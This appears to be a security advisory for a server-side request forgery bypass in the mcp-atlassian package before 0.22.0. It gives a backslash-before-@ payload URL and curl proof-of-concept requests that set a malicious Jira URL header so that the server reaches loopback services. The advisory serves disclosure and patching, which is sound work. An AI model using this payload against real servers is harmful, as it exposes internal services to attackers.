| Package | Affected versions | Patched versions |
|---|---|---|
| mcp-atlassian | < 0.22.0 | 0.22.0 |
| mcp atlassian | < 0.22.0 | 0.22.0 |
sooperset/mcp-atlassianvalidate_url_for_ssrf()POST /mcp2.14.5The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.
Affected code:
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
Payload:
http://127.0.0.1:6666\@www.baidu.com
For this input, urllib.parse.urlparse() treats the hostname as:
www.baidu.com
Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:
http://127.0.0.1:6666/%[email protected]/rest/api/2/myself
This allows an attacker-controlled Jira URL to target loopback or internal services.
Start a local HTTP server:
python3 -m http.server 6666 --bind 127.0.0.1
Start mcp-atlassian with streamable HTTP transport on port 9000.
Initialize an MCP session with the malicious Jira URL:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'
Send the initialized notification using the returned Mcp-Session-Id:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","method":"notifications/initialized"}'
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeTrigger Jira fetcher creation and token validation:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'
Observed response:
The local HTTP server also receives the request, confirming SSRF.
The security validation and the actual HTTP request do not use the same URL interpretation.
validate_url_for_ssrf() uses urllib.parse.urlparse() and validates parsed.hostname.parsed.hostname is www.baidu.com.requests.Session.requests treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the request path.This parser mismatch allows a restricted host to be hidden before \@.
An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.